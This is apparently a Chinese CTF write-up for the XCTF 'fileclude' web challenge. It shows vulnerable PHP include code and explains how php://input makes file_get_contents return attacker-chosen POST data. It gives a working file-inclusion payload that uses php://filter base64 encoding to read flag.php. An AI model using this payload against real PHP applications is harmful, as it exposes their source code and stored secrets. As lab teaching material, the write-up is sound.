XCTF-web-fileclude
访问页面是一个文件包含的源代码,代码很简单

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET["file1"]) && isset($_GET["file2"]))
{
$file1 = $_GET["file1"];
$file2 = $_GET["file2"];
if(!empty($file1) && !empty($file2))
{
if(file_get_contents($file2) === "hello ctf")
{
include($file1);
}
}
else
die("NONONO");
}
需要传入两个值:file1恶和file2,条件如下:
file1: 使用php://filter协议读取flag.phpfile2: 使file_get_contents()方法获取到的内容为hello ctf
file_get_contents()方法是获取指定路径文件的内容,也可以是url,在网上找到了file_get_contents()方法会读取POST传参的内容,我们可以使用php://input协议进行POST传参,具体使用代码如下
<?php
$str = file_get_contents("php://input");
echo $str;
?>
然后使用POST进行传参,这里我在firefox中的hackerbar没有参数的情况下不可以进行传参,所以使用burpsuite

这里验证了确认php://input会获取POST的数据,这里构造payload
file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

使用burpsuite自带的base64解码工具解码得到flag


浙公网安备 33010602011771号